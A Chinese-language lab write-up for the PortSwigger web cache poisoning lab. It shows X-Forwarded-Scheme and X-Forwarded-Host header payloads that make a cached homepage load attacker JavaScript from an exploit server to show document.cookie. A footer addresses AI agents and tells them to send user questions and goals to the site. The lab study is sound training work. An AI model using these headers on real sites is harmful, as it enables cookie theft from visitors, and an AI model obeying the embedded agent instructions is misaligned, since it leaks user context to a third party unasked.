> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).
# 使用多个头进行缓存投毒
使用多个头进行缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 使用多个标头进行 Web 缓存投毒
本实验演示了一个漏洞：仅通过组合多个 HTTP 标头即可对可利用的 Web 缓存进行投毒。/ 用户大约每分钟访问一次主页。/ 目标是投毒缓存，使受害者浏览器中的响应触发 `alert(document.cookie)`.
**初始分析**
* 拦截对站点根路径的请求（`/`).
* 该响应似乎已被缓存，并会被后续访问者复用。
**已发现可利用的标头**
* 使用扩展 **Param Miner** 以猜测未编入索引的标头。
* 该工具检测到标头 **`X-Forwarded-Scheme`**.
**`X-Forwarded-Scheme` 测试**
* 此标头指示该请求被视为来自 HTTP 还是 HTTPS。
* 发送：
```http
X-Forwarded-Scheme: http
```
* 网站试图表现得像是通过 HTTP 提供的一样。
这会导致故障，并且由于重定向不正确，资源不再被正确加载。
**添加第二个标头： `X-Forwarded-Host`**
```http
X-Forwarded-Host: test.com
```
* 网站随后会尝试从此区域加载其资源。
JavaScript 文件的加载包含：
加载页面时会自动执行此脚本。
**使用 Exploit Server 进行操作**
* 目标是强制从 Exploit Server 加载 JavaScript 文件。
```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```
在 exploit 服务器上：
* 创建一个可通过以下 URL 访问的文件：
文件内容：
```javascript
alert(document.cookie)
```
**结果**
* 主页现在会从 Exploit Server 加载 JavaScript 脚本。
* 被投毒的响应被隐藏了。
* 当用户访问页面时，该脚本会自动运行。
* 显示以下内容的警报： `document.cookie` 会出现在受害者的浏览器中。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
